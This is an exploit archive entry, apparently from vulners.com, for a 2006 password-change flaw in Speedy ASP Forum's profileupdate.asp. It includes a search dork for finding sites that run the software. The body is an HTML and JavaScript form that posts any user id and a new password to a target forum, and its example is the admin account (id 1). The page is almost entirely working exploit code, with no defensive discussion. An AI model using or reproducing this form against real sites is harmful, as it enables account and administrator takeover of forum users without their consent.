Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

2006-05-3000:00:00

vulners.com

JSON

Title : Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

Dork : Copyright © ASPwebSoft

Author : ajann

greetz : Nukedx

###Code:

Save to .htm

<title>Pass Change</title>
<script language="JavaScript">
//Coded ajann
function islemKontrol(){
if(document.InputForm.name.value=="" || document.InputForm.email.value=="" ||
document.InputForm.id.value=="" || document.InputForm.password.value=="" ||
document.InputForm.passwordre.value=="" || document.InputForm.country.options.value == 0 ||
document.InputForm.adres.value=="" ){
alert("Alani Bos Biraktiniz")
return false
}
{
document.InputForm.action= document.InputForm.adres.value
document.InputForm.submit();

return true
}
}
</script>

<form name = "InputForm" method = "post" onSubmit = 'return islemKontrol()'>
Speedy Forum User Pass Change //
ajannUser Name    
:   
<input type="text" name="name" value="" size="20"> 
 Example: Surname Name 
User
Mail        
:  
<input type="text" name="email" value="" size="20">
   Example:
[email protected] 
User
İd            
:  
<input type="text" name="id" value="" size="20">
  Example: İd:1 Admin 
User Country  :  

<select size="1" name="country">
<option value=0>Choose Country</option>
<option value="Turkey">Turkey</option>
</select>  Example: Turkey

User 
Pass 
      
:

<input type = "text" name="password" value="Password" size="20"> 
 Example: 123456 

User 
RePass  
:  
<input type = "text" name="passwordre" value="Re Password" size="20"> 
 Example: 123456

Form Action    :

<input type="text" name="adres" value="profileupdate.asp" size="20"> 
 Example:
http://[target]/[path]/profileupdate.asp

</form>

And Code